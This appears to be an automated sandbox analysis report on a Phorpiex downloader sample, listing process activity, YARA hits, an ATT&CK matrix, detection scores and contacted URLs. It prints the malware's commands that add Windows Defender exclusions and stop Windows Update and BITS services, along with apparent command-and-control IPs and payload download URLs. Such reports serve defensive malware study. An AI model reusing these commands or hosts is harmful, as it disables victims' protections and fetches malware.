Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Process created: C:\Users\user\AppData\Local\Temp\33080.scr "C:\Users\user\AppData\Local\Temp\33080.scr" /S	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: GetLocaleInfoA,strcmp,	1_2_0040F1B0
Source: C:\Windows\sysppvrdnvs.exe	Code function: GetLocaleInfoA,strcmp,	2_2_0040F1B0
Source: C:\Windows\sysppvrdnvs.exe	Code function: GetLocaleInfoA,strcmp,	17_2_0040F1B0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

Code function: 0_2_004B1D18 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004B1D18

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\sysppvrdnvs.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center FirewallOverride

Jump to behavior

Stops critical windows services

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait

Remote Access Functionality

Yara detected Phorpiex

Source: Yara match	File source: 18.0.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 33080.scr PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 3060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 4628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 818921588.exe PID: 1516, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe, type: DROPPED
Source: Yara match	File source: C:\Windows\sysppvrdnvs.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\33080.scr, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\818921588.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	1_2_00401470
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	1_2_00402020
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_0040E190 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	1_2_0040E190
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_004013B0 CreateEventA,socket,bind,CreateThread,	1_2_004013B0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	2_2_00401470
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	2_2_00402020
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_0040E190 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	2_2_0040E190
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_004013B0 CreateEventA,socket,bind,CreateThread,	2_2_004013B0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	17_2_00401470
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	17_2_00402020
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_0040E190 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	17_2_0040E190
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_004013B0 CreateEventA,socket,bind,CreateThread,	17_2_004013B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	3 Disable or Modify Tools	11 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	32 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	11 Windows Service	11 Windows Service	1 Obfuscated Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	11 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	11 Process Injection	1 DLL Side-Loading	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	Login Hook	1 Registry Run Keys / Startup Folder	221 Masquerading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Virtualization/Sandbox Evasion	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	21 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Bjl3geiFEK.exe	11%	ReversingLabs	Win32.Downloader.Mint

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe	100%	Avira	HEUR/AGEN.1315882
C:\Windows\sysppvrdnvs.exe	100%	Avira	HEUR/AGEN.1315882
C:\Users\user\AppData\Local\Temp\33080.scr	100%	Avira	HEUR/AGEN.1315882
C:\Users\user\AppData\Local\Temp\818921588.exe	100%	Avira	HEUR/AGEN.1315882
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe	100%	Joe Sandbox ML
C:\Windows\sysppvrdnvs.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\33080.scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\818921588.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe	82%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\33080.scr	82%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\818921588.exe	82%	ReversingLabs	Win32.Trojan.MintZard
C:\Windows\sysppvrdnvs.exe	82%	ReversingLabs	Win32.Trojan.MintZard

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.66/tdrpl.exe	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	818921588.exe.2.dr	false	URL Reputation: safe	unknown
http://185.215.113.66/http://91.202.233.141/12345%s%s%s:Zone.Identifier%userprofile%%windir%%s	33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr	false		unknown
http://91.202.233.141/dwntblan	sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/tdrpl.exeb1E	Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/	33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr	true		unknown
http://185.215.113.66/1JJC:	sysppvrdnvs.exe, 00000002.00000003.1936945817.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/envelope/	818921588.exe.2.dr	false	URL Reputation: safe	unknown
http://185.215.113.66/1G0td	sysppvrdnvs.exe, 00000002.00000003.1903094197.0000000000688000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903798515.0000000000688000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/2	sysppvrdnvs.exe, 00000002.00000002.2003916309.0000000002EEC000.00000004.00000010.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/dwntblt-InLMEMH	sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1C:	sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1LMEM0P	sysppvrdnvs.exe, 00000002.00000002.2003480961.0000000000688000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/2C:	sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1	sysppvrdnvs.exe, 00000002.00000003.1903798515.0000000000688000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1aenh.dll	sysppvrdnvs.exe, 00000002.00000003.1937078841.0000000000699000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/tdrp.exe%s:Zone.Identifier/c	33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr	false		unknown
http://91.202.233.141/dwntbl2C	sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000061E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/dwntblhy	sysppvrdnvs.exe, 00000002.00000002.2003480961.0000000000688000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/	Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000130E000.00000004.00000020.00020000.00000000.sdmp, Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 33080.scr, 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, 33080.scr, 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 818921588.exe, 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, 818921588.exe, 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, tdrpl[1].exe.0.dr, sysppvrdnvs.exe.1.dr, 33080.scr.0.dr, 818921588.exe.2.dr	true		unknown
http://91.202.233.141/dwntbllvCkd	sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000061E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/dwntbl	sysppvrdnvs.exe, 00000002.00000003.1937078841.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000002.2004958997.0000000005B0D000.00000004.00000010.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/tdrp.exe	sysppvrdnvs.exe	false		unknown
http://185.215.113.66/tdrpl.exek1L	Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/2(Bf	sysppvrdnvs.exe, 00000002.00000002.2003916309.0000000002EEC000.00000004.00000010.00020000.00000000.sdmp	false		unknown
